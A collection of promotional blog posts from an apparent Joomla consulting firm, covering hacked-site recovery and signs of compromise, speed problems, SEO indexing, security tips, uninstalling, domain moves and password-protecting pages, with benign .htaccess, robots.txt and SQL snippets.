What to do at this point?

  • Fix the problem immediately and then wait for Google to re-index you (the process will now take a month or two). Do not apply for a re-consideration request with Google at this point.
  • Contact all the security websites that have blacklisted your website and inform them that your website is now clean.

Over three weeks

Below is what will happen when your website is hacked for more than 3 weeks with no action from your side:

  • Google will delist you completely from it SERPs (Search Engine Results Pages). Your Joomla website will no longer appear in the SERPs, even at the hundredth page. If you type site:http://www.yourdomainname.com in the Google search field and type enter you will get nothing. This is a complete Google ban and it’s really hard to restore your website to Google at this point.
  • Your hosting provider may disable your website and then inform you of the problem immediately. Note that hosting providers are legally responsible for their networks (that your website is part of), and that’s why they are extremely proactive in these matters.

  • Desktop anti-virus software will prevent individuals from visiting your website.

What to do at this point?

  • Fix your website immediately and then submit a reconsideration request with Google and hope for the best. Note that the reconsideration request may take as little as a couple of months and as many as several years (especially if you haven’t fully fixed the problem).
  • Email each and every website/anti-virus software that has blacklisted you and tell them about the situation and then hope for the best.

As you can see from the above, the longer you leave your website hacked, the harder it becomes to restore its Internet presence to its pre-hacked state. You must be very pro-active and you must have a sense of urgency when your website gets hacked. If you need help cleaning up your Joomla website and/or in trying to restore it to its previous standings in the SERPs, then please contact us. Note that we offer Joomla Emergency Services – so you can contact us as soon as you notice that your website is hacked, even if it’s 3 AM in the morning!

Why Is Joomla So Slow?

At least every other day, a customer contacts us and asks us the following question: “Why is my Joomla website so slow?”

We reply to her/him that since Joomla is a very large and powerful CMS, it is somehow slow. However, it shouldn’t be very slow, and there are ways to make a Joomla website faster.

Now let us list and discuss all the reasons that make a Joomla website very slow:

Joomla is a complex product: Joomla is a very complex product from a software development point of view. This complexity that is necessary to make Joomla one of the most powerful and flexible CMSs out there comes at a price, slowness!

Too many loaded extensions: Think about it this way, your Joomla website is like a cart, and every extension is like a box of apples. The more extensions that you add to your Joomla website (or the more apple boxes you add to your cart) the slower your website (cart) is. The best thing to do is to disable, or better yet, completely uninstall, unused extensions.

Heavy templates: Some Joomla templates are heavier than others. If you choose a template that has a lot of non-optimized code and large images, then expect this template to slow down your whole website. You will need to optimize the code and the images in the template in order to reduce the negative impact of the template on the speed of the website.

No caching: The developers who created Joomla are aware of the slowness issues in Joomla and that’s why they have provided built-in caching functionality. If you run Joomla without caching, then it’ll be slower (but beware, when you use caching the changes that you make in your Joomla website won’t show up unless you clear your cache).

Slow hosting: Many Joomla website owners are small businesses, and cannot afford to have a dedicated server to host their website, and that’s why they opt with a shared hosting solution that is often slow because of the so-called over-selling. At itoctopus, we provide fast and secure hosting only for our customers. We do not oversell and your website will be always up and ready to serve your visitors.

Too much data: The amount of data that you have on your website is inversely proportional to the speed of the website. For example, let’s say that you have only 5 pages on your Joomla website. This means that the Joomla system has to go through only 5 rows in your database to retrieve the main content of the requested page (of course, there are many other requests, but let’s pretend that there’s only one database request for now). Now, in case you have 10,000 pages, then this means that the Joomla system has to go through 10,000 rows in the database (which will take more time). Now imagine how the search works if you have only 5 pages versus if you have 10,000 pages. Note that there are many ways to address this situation, including indexing the database and moving the database to a standalone server.

Too many visitors: Again, since Joomla is a heavy CMS, the more visitors you have, the slower your website is. We have seen Joomla websites that literally start crawling when they have a few dozen simultaneous requests. Check this article on the number of users that Joomla can handle, and what to do to increase that number.

Malicious flood of requests: This is essentially the same thing as “too many visitors”, but with a twist. The malicious flood of requests is just fake traffic to your website, e.g. traffic that is not generated by human beings, but rather by bots, either to scrape the content of your website or to intentionally slow it down. The best thing to do in this situation is to block the IP or the range of IPs issuing the malicious requests.

If you need any help in analyzing why your Joomla website is slow or how to address the slowness, then contact us. We are always eager and ready to help you!

How to Index Your Joomla Website with Google

You own a Joomla website, and you’re proud of it, but the thing is, Google still hasn’t indexed it, or Google has indexed only a few pages of your website. So, what do you do to fully index your Joomla website with Google and other search engines such as Yahoo and Bing?

Before starting this post, it is important to note that what we can only recommend the things that you can do that will help your chances in getting indexed with Google, there is no guarantee whatsoever

So, in order to get indexed, here’s what you should do (we have split this post into two sections: non-technical and technical things that you can do to get your website indexed):

Non-technical things to do to get your website and your pages indexed

Below are the non-technical things that you can do in order to get your website and your pages indexed. Note that the non-technical things have a much better effect to get your website indexed than the technical things.

  • Have a good website that you feel proud of: Although Google is not human, it can know if a website is actually good or not. Believe it or not, it is intelligent enough to segregate good from bad websites. If your website is good then it will be accepted by Google and it will show up high in the search results. If it’s bad, then it still may be accepted by Google, but it will show up very low in the search results (low enough that nobody will be able to find it).
  • Submit your website to Google: When you’re confident that you have a good website, then the next step to do is to add it to Google. Now while Google is now very good at detecting new websites, it is sometimes essential for a website to be added manually especially if there are absolutely no links to it and it just has a few pages. You can find the link to add your website to Google here. Google will check your website in the next few weeks and will consider it for indexing once the link to your Joomla’s website is added. You should also submit your website with Bing and Yahoo. (Note: We have noticed that usually Google will send you about 70% of the organic traffic, and the rest will be sent by other search engines).

  • Ensure that your website contains interesting content: As stated earlier, Google is intelligent. It will know if your content is interesting or not, and it will index your content based on how “interesting” and “original” it is.

  • Have a blog: We have noticed that the fastest way to index a Joomla website is to have a blog. You can start a blog by installing one of the many blog extensions that Joomla has. The more blogs you write every week, the faster your website is indexed and the greater the number of your indexed pages is with Google. The location of your blog should be blog.yourdomainname.com or www.yourdomainname.com/blog

  • Link to your website from other websites: First let us clarify two things when it comes to this point: We’re not suggesting that you spam other websites at all, and we’re not suggesting questionable techniques to do so. The best thing to link to your website from other websites is to go to blogs in your same line of business, read articles that you can connect with, comment on these articles while ensuring that you link to your blog in the “Website” field. Additionally, if you have an article, a blog post, or a product that you want to share with the readers of your other blog, then feel free to link to it. Many blog owners will immediately approve your comments, and not only that, they will check your website and maybe link to it in another blog post if they think it’s interesting enough. The important thing is to give a genuine, constructive comment.

  • Avoid the “link to me and I’ll link to you” technique: This technique is so passée and will most likely get your website penalized (or even totally ignored) by Google if you do this.

  • Avoid companies that will “guarantee top spot with Google”: Companies that will tell you that they will guarantee top positions with Google are scammers, this is because there is no way for any company to do this. While some of these companies succeed in increasing your SEO (Search Engine Optimization) standings and getting your website indexed fast, they will lead, in most cases, to your website getting penalized or even banned (a banned website is completely de-indexed and is added to a black list so that Google will never ever index it again) from Google.

  • Promote your website: Commenting on related blogs (see above) is one way to promote your website. But you should also promote your website using Social media (such as Twitter and Facebook), and, in case you want people to know about your website immediately, then you should advertise your website with Google (you’d be surprised how efficient Google advertising can be – if you do it the right way).

  • Create internal links: Let’s say you are currently writing an article about “Global Warming”. In your current article, you briefly discuss the “Carbon Tax” and its contribution to reducing global warming, but you remember that you’ve discussed “Carbon Tax” in details in another article. So, you link to your other “Carbon Tax” article from your current article. This will increase the importance of your “Carbon Tax” article in the SERPs (Search Engine Result Pages). The more internal links to your articles you have in your website, the more indexed pages you will have with Google.

  • Avoid Grammar mistakes and typos: Ensure that all your articles on your Joomla website are written in perfect English. Bad grammar and typos can have extremely negative effects on your website, especially if there are plenty of them and especially if your website is new.

  • Ensure that your website is safe for the user: Google will not index/will de-index/will stop indexing a website as soon as the website gets hacked. That’s why you need to make sure that your website is always clean and safe for your visitors. You can check these Joomla security tips if you want to find out more on how you can protect your website.

Technical things to do to get your website and your pages indexed

Following are the technical things that you need to do in order to get both your website and your pages indexed with Google (note that the below are not mandatory, but they can sometimes help):

  • Create a sitemap for your visitors: A sitemap is a very old concept in web development. Depending on the type of your website, your visitors may expect a sitemap and may need to use it to find what they want. There are many Joomla extensions that will automatically create a sitemap for you. You can find them here. Search engines, such as Google, used to heavily rely on user sitemaps to index websites (not anymore).
  • Avoid getting double-indexed: Double-indexing means that Google will index your website as www.yourdomainname.com and yourdomainname.com . This will dilute the search engine rankings of your website. Double-indexing can be avoided by adding the following lines to your .htaccess files:

    RewriteEngine On
    RewriteBase /
    RewriteCond %{HTTP_HOST} ^yourdomainname.com [NC]
    RewriteRule ^(.*)$ http://www.yourdomainname.com/$1 [L,R=301]

  • Create a Google sitemap and submit it to the Google Webmaster tools: A Google sitemap consists of a file containing links to all the pages on your website. The Google bot will read through your sitemap and will learn about your articles that are not linked from any other page on the Internet. You can create a Google sitemap by installing an extension that will do this (most of the sitemap extensions listed above provide a functionality to create a Google sitemap). You should then submit the sitemap to the Google Webmaster Tools. (Note: You may want to do the same for Yahoo and Bing)

  • Avoid indexing pages that shouldn’t be indexed: If you want to know what Google hates most (well besides spam) is indexing pages that shouldn’t be indexed. The file robots.txt that usually exists in the root of your website should be edited to disallow indexing pages/files on your website that should not be indexed. For example, you may want to disallow the indexing of your administrator section on your website, so you open the file robots.txt and you add the following lines:

    User-agent: *
    Disallow: /administrator/

  • Don’t use JavaScript to link to another page: You should always use <a href=”… HTML tag to link from one page to another on your website. You should never use JavaScript for linking (most spiders can’t/won’t follow JavaScript links).

  • Use canonical URLs: In other words, don’t confuse Google with a page that is listed under more than one link. You can read more about this here.

How to check how many pages are indexed with Google?

Now that you have done your best to have your website indexed with Google, you need to probably see how many pages are actually indexed with this search engine. In order to do so, just go to Google and type: site:www.yourdomainname.com in the search box. If you see something like: Your search – site:www.yourdomainname.com – did not match any documents. then this means that Google hasn’t indexed any of your pages yet. Don’t worry, keep working, and keep checking, and eventually it will, if you’re doing everything the right way, and, of course, if your website is clean!

If you need help doing any of the above, or if you need help in SEO for your Joomla website, then you can just contact us. You’ll be amazed how efficient, fast, helpful, and friendly we are.

What To Do When Your Joomla Website Is Hacked?

In the unfortunate event where you know that your Joomla website is hacked you need to follow the below steps:

  • Remain calm: Your website is hacked – period. There’s nothing that you can do to change this fact, and most of the harm is already done. Why panic? In addition, most website owners/managers experience the hacking of at least one website they own/manage at a certain point in time. So you’re not really alone in this.
  • Assess the situation: Is the website no longer functioning? Is the website attempting to download some malicious content to the visitors’ machines? Is the website showing a blank page or obscene images/text on the homepage? Assess the situation of your website in order to know what to do in the next steps.

  • Redirect all the traffic to an “under-maintenance page”: It’s better to get not traffic at all rather than to get traffic and infect your visitors’ machines (your website most likely will be reported and Google, as well as many search engines, will de-index it or will show a warning next to search results linking to your website). You can do this by creating a maintenance.html file, uploading it to your webroot by adding the following line to your .htaccess file and commenting out all the other lines (the .htaccess file is located under the root of your web folder):RewriteRule !^maintenance\.html$ /maintenance.html [L,R=302]

    The maintenance.html file consists of the following code:

    <html>
    <head>
    <title>Your Website Name - Under Maintenance</title>
    </head>
    <body>
    <h1>Your Website Name Is Under Maintenance</h1>
    </body>
    </html>

  • Identify and fix the problems: If you have some programming experience, you need to examine what are the files/data that were changed (and how they were changed) and then fix them immediately.

  • Call the experts: If you don’t have any programming experience, or if you can’t locate/solve the problem by yourself, then just call the Joomla Security Experts. These experts will help you immediately, and they will most likely be able to restore your website to its previous condition faster than you do!

  • Protect your website: Follow these security tips to protect your Joomla website, so that the unfortunate event that has already occurred will not reoccur again.

Note that you can contact us at any time (even at midnight) and we will help you restore and cleanup your website in no time. Not only that, we will do our best to ensure that your website becomes immune to future attacks of the same kind. We will also advise you on what to do (and what not to do) to ensure that your website remains secure.

How To Know That Your Joomla Website Is Hacked

We frequently get requests from our customers asking us to check if their Joomla website is hacked, because they think it is behaving oddly. And so we do check the website, and in most cases, we discover that the website is actually hacked. So, the first sign that your website is hacked is if you feel that it is hacked!

Other than just feeling that your Joomla website is hacked, here are some other signs that will tell you if your Joomla website is hacked (the presence of even just one sign means that the website is most likely hacked, and you need to take immediate action):

  • Pages get redirected to other pages: When you go to one page on your website, you get redirected to another page (usually on another page) automatically.
  • Weird content/links on your website: Your website contains content and/or links (either prominently or at the bottom of the page) that you haven’t put there. Usually that content is obscene and the links point to another website with obscene/illegal content.

  • Website tries to download something to the visitor’s PC: This is the ultimate sign that your website is hacked. When you visit your website and your website tries to download a plugin (sometimes the download fakes itself as a mandatory security download), then your website is not only hacked, but it is also harmful to your visitors.

  • You’re unable to login to your website anymore: Sometimes, you’re suddenly unable to login to your Joomla website, while this might happen because of a human error (you are using CAPS Lock for example to enter the password) or some corrupt data, it might happen because your website is hacked (in this case, it was your Joomla database that got hacked).

  • All the data is gone: You go to your website and you no longer see the pages that you have created over the weeks, months, or even years. All you data is gone. This means that a hacker deleted all the content from your jos_content table.

  • Your Joomla website is no longer indexed by search engines: Search engines are very smart: When they detect that a website is hacked, then they immediately stop indexing it to prevent their visitors from visiting harmful websites.

  • You are seeing database errors when you visit your website: While there are many reasons for this to happen, it might be that a hacker dropped all the tables in your Joomla database. Again, there are many reasons for this to happen and it’s better to consult with an expert in Joomla before taking any action.

  • You are seeing a file not found error when you visit your website: A file not found error simply means that the file does not exist anymore. This can happen because of a bad extension that you installed (that requires a file that doesn’t exist and didn’t exist in the first place), or it can happen because a critical file was actually deleted from your website folder (which means, in most cases, that someone maliciously deleted that file from your web folder).

Now if have some technical background, you can check for the following signs to see if your website is hacked.

  • Weird JavaScript in the source code: Just go to the homepage (or any page) of your website and right click and then click on “View Page Source”. Do you see some weird JavaScript code that you don’t recall seeing before? If you do, then try to read the code and see what it does if you have some programming skills or contact some Joomla Security Experts if you don’t.

  • Recently modified critical files: Check to see if one of the following files was recently modified (without you modifying it either directly or indirectly):

    • .htaccess file
    • index.php
    • Any template file

    If you see any of the above files with a recent timestamp although you did not modify the file, then your website is most likely hacked.

In our next post, we will discuss what to do when you know that your website is hacked (the first thing to do if you can’t fix it yourself is to contact us – we will help you and we are available 24/7/365). Meanwhile, if your website is OK, then check these security tips for your Joomla website to better protect your website.

10 Security Tips for Your Joomla Website

Our article, 10 reasons why your Joomla website got hacked, was well received by our readers (clients and visitors alike). In this post, we want to list the top 10 security tips to protect your Joomla website.

  1. Always keep your Joomla website up-to-date with the latest version of Joomla: Every Joomla update addresses security issues that are known to the Joomla community at the time of the update, this means that if you don’t update your Joomla website immediately, then the potential that your website will be hacked will increase. If you leave your website without updates for a long time, then it will be almost a certainty that your website will be hacked.
  2. Hide your Joomla version: Telling the world about your Joomla version in your HTML code is like inviting malicious attacks to your own doorstep. It’s like saying, “Hey, I have Joomla version 1.5 – that is known for the following vulnerabilities (add list of vulnerabilities here) – would you like to attack me?” If you want to check that you are exposing your Joomla version to the world, then just go to your website using Firefox, right click on the page, and then click on “View Page Source”. If you see something like the following line:

    <meta name=”generator” content=”Joomla! 1.5 – Open Source Content Management” />

    then you are exposing your Joomla version. Check this post on how to hide your Joomla version.

  3. Only install reliable and community-trusted extensions: Joomla has many extensions. For every feature that you can think of there is already an extensions that is written and ready to be installed. But that convenience comes at an expense. What if a new extension that you install is not secure? Because if it is, then it will compromise the security of your whole website, not just the feature(s) pertaining to that extension. So, what to do in this case? Well, before installing any extension, you need to make sure that the extension is trusted, here’s how:

    • Check how many people downloaded/reviewed the extension. If the number is small, then avoid the extension altogether.
    • Check the reviews by the people who have installed the extension. Are there reviews complaining about security issues with this particular extension? If you even find one such review, then avoid the extension altogether.
    • If you insist on using an extension that is not used by many people, then hire a Joomla consulting company to audit the extension.
  4. Keep your Joomla extensions up-to-date: You cannot just forget about an extension once you have it installed. You need to make sure that you always have the latest version of the extension and you need to update to the latest version whenever there’s a new one (for the same reasons you update your Joomla core to the new version of Joomla).

  5. Install security extensions: There are many extensions that will make your website secure (but may compromise the speed of your website and/or may limit your website’s functionality, so choose wisely). Go ahead and do your research, and install one that is highly recommended by the Joomla community.

  6. Don’t use the default table alias: Everyone who knows a thing or two about Joomla development knows that, by default, the table alias in Joomla is jos_. You should change this alias to a different one (a random 3 or 4 letter word that you can come up with). Note that some of the security extensions on the market do this for you.

  7. Change the default permissions on your Joomla .php files: Don’t leave the permissions on your Joomla .php files set to 666 (the default). Change them to 444, which means you are giving just read access to everyone (and not read and write).

  8. Change your passwords regularly: It is very important to change the following passwords regulary:

    • The password of the “admin” user.
    • The FTP password
    • The MySQL password
    • The hosting password (e.g. the cPanel password)

    Changing your password regularly is a very healthy practice for your website’s security.

  9. Do not allow users to upload scripts to your website: While Joomla, by default, totally forbids user upload of scripts to your website, you might be tempted at one point to allow (for one reason or the other) some of your users to upload inline scripts or executable script files to your website. No matter what the rewards are, avoid this completely. If you think it’s necessary for your website to have a feature to allow people to upload scripts, then ask some Joomla security experts to secure that feature.

  10. Run a vulnerability scan: You should regularly run a vulnerability scan on your website. There are many website security scanners out there (just make sure you choose one that is tested and is known to provide reliable results). For our clients, we use Acunetix (read this post we have written a while ago about Acunetix and Joomla).

A couple of other tips, for advanced users:

  1. Read your web logs: Web logs are there for a reason. Check to see if there are some weird requests by the same IP constantly. If you see an offending IP, then block it (read how to block an IP address on your Joomla website).
  2. Check your hosting environment: Check that your hosting provider is using the latest version of Apache, MySql, PHP, phpMyAdmin, and cPanel. Inform your hosting provider immediately if you see one of them that is not fully up-to-date.

If you need any assistance implementing the above, then, as usual, we are ready to help. We have secured many websites (we will be later introducing a monitoring package that will include the monitoring of the website’s security) and we are sure that you can secure yours. Just contact us and see how we can help you!

Joomla for Small Business

After our posts on Joomla for law firms and Joomla for universities, we wanted to write a post about Joomla for small businesses, since this is where Joomla really shines…

Almost every week, we receive 2 or 3 phone calls from new clients. The calls usually go the following way:

New client: “Hi”
Us: “Hi”
New client: “I heard that you are experts in Joomla”
Us: “Yes we are, how did you know about us?”
New client: “Word of mouth!”
Us: “That’s great! How can we serve you?”
New client: “I want to know if Joomla is good for my small business”

At this point we start discussing with the client the nature of his business, and, we always reach the conclusion that Joomla is good for his small business. In fact, we are now confident that Joomla is good for any small business, here’s why:

  • Joomla ensures a small business gains an online presence cheaply and rapidly

    If you have a small business, you are now expected to have a website, just like the “big guys”. Websites are no longer a want for small businesses, they are now a need. People just expect you to have a website that tells them more about your business. But since you’re a small business, you know you can’t afford paying tens of thousands of dollars for a company to develop your own website. So what do you do? Well, Joomla comes to the rescue: If you have some technical skills, then you can install Joomla and start your Joomla website in a week or so. This process will cost you nothing. If you want, there are some companies (including us) that will take care of the process from A to Z (install Joomla for you, ensure it works, ensure that you content is placed and everything is functioning as it should) in only 2 to 3 days. Note that if you go with the latter option than you have to provide this company with the content of your pages.

  • You don’t need technical skills to update a Joomla website

    We know that, as a small business, you probably can’t afford to hire someone full time to update your website, regardless of his or her salary. We also know that you feel it’s better (and safer) that you update your website yourself. After all, who can understand your business more than yourself. If you use Joomla, you will be able to do just that: you will be able to add more pages on your website, update old pages, and hide some pages. After all, Joomla is not that hard, if you only want to update content.

  • A Joomla website doesn’t need a lot of maintenance

    We know what a small business wants: a website that needs little or no maintenance at all. While every website needs to be maintained from time to time, Joomla websites are famous for their low maintenance: You only need to make sure that everything is OK (security, efficiency/speed, functionality) with your Joomla website once every 3 months or so. At itoctopus, we will soon release a “maintenance package”, available for small businesses using Joomla. Stay tuned!

  • Joomla provides an easy shopping cart for small businesses

    There are many extensions (an extension is a functionality that integrates with a Joomla website) for Joomla that will allow small businesses to sell their products through their websites. All aspects of the online store creation and management can be done: The creation of the store, the creation of the categories, the creation of the products, the pricing of the products (including taxation and shipping), the processing of the payments, etc… One of the very prominent e-commerce extensions for Joomla is VirtueMart, which allows you to do just that (and more), and, what’s even better, is that VirtueMart is very easy to use. Just create your store, add your products, and see those payments coming…

  • Joomla websites can be easily integrated with social networks

    It’s hard to live in a vacuum nowadays and ignore Facebook, Twitter, and the likes. As a small business, you need to make sure that your website easily integrates with these social platforms so that your visitors can easily like/tweet your pages/products. Joomla has many extensions that allow you to integrate social networking, so that you will be always closer to your clients.

  • Joomla doesn’t generally require programming expertise

    If, as a small business, you go with a custom website (non-Joomla) then if you need a new feature, you should be prepared to either do some coding yourself or to hire someone that will do the coding for you. Both are not very good options, especially if don’t know how to code or if you’re not budgeting to pay a programmer. Now if you’re using Joomla, then this new feature that you want to install on your website might’ve been developed by someone else before and released as an extension which you can install on your website.

  • Joomla is a true and tested CMS

    Some small businesses reach a point where they rely partially or completely on their websites to generate income. This means that they need a secure and stable website. Joomla is just that, Joomla is installed and tested by many small businesses, as well as large non-profit organizations.

  • There’s always someone who understands Joomla

    When a small business owner asks a company or a programmer to develop a custom website, he’s always afraid that, one day, the company or the programmer vanish into thin air, and then he’ll be stuck with a website that nobody understands how it’s coded (and thus nobody will be able to maintain it/expand it). If the small business uses Joomla, then there are many companies that do Joomla consulting that the small business can hire to work on its Joomla website.

Now how does a small business website look like?

From our experience, here’s what a small business website contains:

  • Homepage: The homepage includes some basic information about the business.
  • About Us/Who we are page: A page that describes, in details, what the business is.
  • Our team: A list of the people who work in this business. Usually this page consists of a picture and a small blurb (role in the business, hobbies, etc…) about each person working in the business.
  • Contact Us page: A page that contains information about the location of the business, and that includes a form that the visitor can use to contact the business.
  • Legal terms/Privacy Policy/etc

The above is the skeleton of any small business website. The website may also include other pages featuring its main products/services, a page about its partners, a page about its current clients, etc…

Additionally, the website of a small business may include an online store, as well as some interactive features (depending on the business itself).

So here goes, we have explained, in details, why Joomla is a good choice for small businesses… Now if you own a small business and you need a website, then maybe you should consider Joomla for the above reasons above. If you need any help installing/extending your Joomla website, then we are here to help you: just contact us and you’ll see for sure how genuinely interested we are in your own business. We are very fast, our fees are very reasonable, and we even have a 24/7/365 Joomla emergency hotline that you can call anytime.

Joomla for Universities

We have discussed before the use of Joomla for Law Firms: How Joomla is used in a law firm environment, what are the basic features for a Joomla website in such an environment, and what are the extra features that some users ask for. We will discuss today Joomla websites in a university environment.

In our decade of Joomla (previously Mambo) work, we have installed, customized, and secured Joomla for many universities. We have seen what are the features that these universities ask for, what are the issues that they were facing with Joomla, and what is their level of satisfaction with this CMS:

What are the features that universities ask for from a Joomla website?

Following are the common features that are asked for by almost all universities from a Joomla website:

  • Moodle integration: If we had a penny everytime we are asked to integrate moodle with a Joomla website, we’d be ultra rich. Moodle is really hot in a university environment (we will write a separate post on how to integrate moodle with Joomla), and we are always asked to integrate it.
  • Securing the website: Nearly all universities that come to us with a Joomla job ask us to secure their website. The things to check for are the following 1) SQL injection, 2) XSS vulnerabilities, and 3) Permission issues. We usually accomplish this using Acunetix (note: we have written about Acunetix and Joomla before).

  • Social network integration: Currently, all universities are trying to appeal to their students by integrating social features into their websites. For example, the adding of the “Like” button and the integration of Facebook Login. We usually integrate social networks by either writing our own extensions or integrating 3rd party extensions depending on the university’s needs.

  • Mobile version: We think that in the near future, most of the traffic coming to any website will be mobile traffic (e.g. traffic coming from a mobile phone), universities share this prediction with us, and most of them ask us to ensure that their Joomla website has a mobile version as well, and that this mobile version can work perfectly on all 3 main platforms: iPhones, Android phones, and Blackberry phones.

  • Document management: Nearly every university asks to integrate a Document Management extension with their Joomla website. Docman is a favorite, but we have integrated several other document management extensions as well.

  • Enhanced search functionality: We are often asked to develop an enhanced search functionality. For example, the search results should not only search the pages of the website, but also the documents that are uploaded to the website.

Additionally, some universities ask us to integrate APIs having to do with communicating with their students and/or their staff (for example, sending them SMS when a special activity is announced). We have also been asked, several times, to integrate payment processing into some of the websites

What were the issues that universities were facing with Joomla?

One of the top issues that we saw universities facing with Joomla (and coming to us to fix it) is speed, this is because their websites handle a lot of visitors per day and are usually loaded with “heavy” features (that will slow them down even further). We solve the problem and make their Joomla websites faster by analyzing the root causes of the slowness and by devising solutions that counter this slowness (such as caching, optimizing code, or even recommending a faster server).

The other top issue that is of concern to universities using Joomla for their websites is security. Joomla, in and for itself, is secure, but quite often the 3rd party extensions are not. Since we are the Joomla security experts, we fix all the security issues with each and every website, and then we run a 3rd party scan (that sometimes takes 2 days) to check that the website that we have secured is officially secure.

What do universities think of Joomla?

Since we have worked with many universities on their Joomla websites, we can transparently transmit their feedback about Joomla:

  • They think Joomla is efficient and powerful. They just can’t believe how much can be achieved with so little time.
  • They think Joomla becomes easier the more they work on it.
  • They think that they can do anything with their Joomla website (from accepting payments, to allowing students to register courses, to integrating social networks).
  • They have no plans of changing to another CMS/platform, mainly because they’re very happy with Joomla.

We can’t think of anything negative that universities said about Joomla; as stated above, all seem to be pretty satisfied with it (so we can say, with confidence, that the level of satisfaction with their Joomla websites is high).

If you are a university that wants to use Joomla or is already using Joomla and wants to secure it/speed it up/add some features, then go ahead and contact us. We’re here to help, and we even have a 24/7/365 Joomla emergency service, so you’re never left on your own!

How To Remove the Article Information in Joomla?

Sometimes, you don’t want to show some or all of the article’s information (such as the creation date or the author name) in Joomla. This article will explain to you, in details, how to remove some or all of the article’s information from a specific article or from all articles.

If you want to remove the article information from a specific article:

Figure 1: Parameters for a Single Article

Figure 1: Parameters for a Single Article

  • Login to your Joomla administrator control panel by going to http://www.yourdomainname.com/administrator/index.php (of course you should change yourdomainname.com to your actual domain name).
  • Go to Content -> Article Manager (Click on “Content” on the upper horizontal men and then click on “Article Manager”).
  • Click on the name of the article that you want to hide the information for.
  • Once the article is open in edit mode, then click on “Parameters (Advanced)” on the right.
  • If you want to hide the Author Name then choose “Hide” from the drop down menu next to “Author Name” under the “Parameters” section.
  • The same goes for the Creation Date and the Modified Date.
  • Click on “Save” on the top right.

If you want to remove the article information from all articles:

Global Parameters

Figure 2: Global Parameters

  • Login to your Joomla administrator control panel by going to http://www.yourdomainname.com/administrator/index.php.
  • Go to Content -> Article Manager.
  • Click on “Parameters” on the top right.
  • Choose “Hide” next to “Author Name” if you want to hide the name of the author, for example. The same goes for the rest of the parameters.
  • Click on “Save” on the popup window.

If you need help doing the above, then, as usual, you can contact us, and we will be more than glad to offer you very friendly assistance.

Note: This is for Joomla 1.5, but the above instructions can also work for Joomla 1.6 or Joomla 1.7.

How to Uninstall Joomla

If you’re reading this article because you want to reinstall Joomla, then check this article on how to reinstall Joomla.

Sometimes you may wish to just uninstall Joomla from your server for one of the following reasons:

  • You want to move your Joomla website to another server and you wish to remove all the information pertaining to this website with your current host.
  • Your initial installation was faulty and you want to redo everything from scratch.
  • You just want to get rid of your Joomla website!

Well, the process is fairly simple, here’s how you can do it:

  • Login to your website’s FTP, and delete all the Joomla folders and files. Make sure you don’t delete folders that do not belong to your Joomla website. This process may take a long time if you have a lot of extensions installed and/or a lot of images/files in your website.
  • Go to phpMyAdmin, and drop the database that contains the data of your Joomla website. Make sure you don’t drop a shared database (a database that is shared by different websites, where the only difference is the table prefix).

  • Go to the “Cron Jobs” page (or Cron Manager) in your cPanel and remove all crons associated with your Joomla website.

  • That’s it!

If you need help uninstalling your Joomla website, or if you think that the process is intimidating, then we’re here to help. Just contact us and we’ll do it for you.

Tips

  • If you’re afraid of doing the process, then don’t do it, and ask for help by Joomla professionals (such as, ahem, us!). Remember, if something can go wrong then it’ll definitely go wrong!
  • If you’re unsure about a file or a directory, then don’t delete it, and, again, ask for help by Joomla professionals.
  • This process will not remove email accounts pertaining to your Joomla domain.

How to Move a Joomla Website to Another Domain

Quite often, some site owners realize that the domain name they picked and used for their Joomla website doesn’t cut it anymore, so they decide to change it and move their Joomla website to another (better) domain. In this guide, we provide step-by-step instructions on how to do that:

Step 1 – Move your Joomla website to another server: We have already discussed that before so we won’t discuss it here again. Just make sure you don’t delete any files/data from the old website until your Joomla website is fully moved and tested.

Step 2 – Replace all links in your website pointing to the old domain with equivalent links pointing to the new domain: Frequently when you write an article in Joomla, you tend to link to another article on your website – which is a good practice. However, when you decide to move to another domain, you will have to update these links to point to the new domain. This can be done in two ways:

  • The slow and inefficient way: Where you will have to edit each article and update the links manually. This is OK if you have a few articles with links to your website in them, but when you have more, this can become a very tedious and long task (not to mention that it’s possible for you to forget about some links to your previous website, which will make the thing very messy).

  • The fast and efficient way: You can just update all the links with a simple REPLACE query issued on your jos_content table. Here’s the replace query:

    UPDATE jos_content SET introtext =REPLACE(introtext, 'http://www.yourolddomain.com', 'http://www.yournewdomain.com'), fulltext =REPLACE(fulltext, 'http://www.yourolddomain.com', 'http://www.yournewdomain.com');

Step 3 – Tell search engines that you changed your domain

It is very normal that search engines (especially Google) will maintain an index of your old website and still point to it in their search queries. You need to tell Google (and other search engines) about the change, and the way to do it is to add the following code to your .htaccess file for your old domain:

Options +FollowSymLinks
RewriteEngine on
RewriteRule (.*) http://www.yournewdomain.com/$1 [R=301,L]

You’re done!

If you’re having problems moving your Joomla website from one domain to another, then go ahead and contact us! We’re always here to help!

How to Protect a Page with a Password in Joomla?

Sometimes you have an important page that you don’t want every visitor to your website to have access to. The first thing that comes to your mind is to make this page only accessible by members, but you then realize that you don’t want all your members to have access to this page. Just a few members. So you need an extra level of security on that page. That extra level of security means protecting the page with a password.

So, how do you protect a Joomla article (or any other page for that matter) with a password?

Well, there are two ways: An easy, non technical way, and a not-so easy, and somehow technical way:

The easy way:

  • Download the Joomla plugin called “ContentPassword” from here.
  • Install it by logging in to your Joomla admin, and clicking on Extensions->Install/Uninstall, and then choosing the plugin from your hard drive and installing it.
  • Follow the instructions to protect your articles.

The hard way:

  • Download Jumi (a Joomla extension that will let you embed PHP code into your articles)
  • Create a Jumi module that will redirect the visitor to a PHP form on your website asking for a password. Once the user enters the password, then see if the password matches the one in your Jumi code. If it doesn’t, then ask for the password again, if it does, then store a “logged-in” state in the session and redirect back to the page (Your Jumi should no longer block the page since the user has entered the correct password).
  • Add the Jumi module to the article that you wish to protect.
  • Create other Jumis if you want to password-protect pages with different passwords.

It’s obvious to see that the first way of doing it is much more elegant than the second way, but for your convenience, we just listed both anyway.

If you need help protecting your Joomla pages with a password, then feel free to contact us. We’re always ready to help, and our customers love us!

Number of Websites Powered by Joomla

We know it, you’re here because either you’re a Joomla fan who wants to know how many websites are powered by Joomla to prove a point to your manager, or you’re a business owner/technical manager who’s deciding whether to use or Joomla or not (you want to know if there is a lot of websites that are using Joomla before making your decision).

Well, let’s calculate this number together. As of October 2011, there are over 500,000,000 websites1 and 202 million domain names2 3 in the whole world. According to Wikipedia and Joomla’s official download website, Joomla has been dowloaded around 23 millions times so far. Assuming that the conversion rate between download and installation is 10% (so for each 10 downloads there is a real deployment for a website), then the number of Joomla websites is 2.3 million websites. Since virtually all Joomla websites consist of domains, then the number of domains powered by Joomla is around 2 million domains.

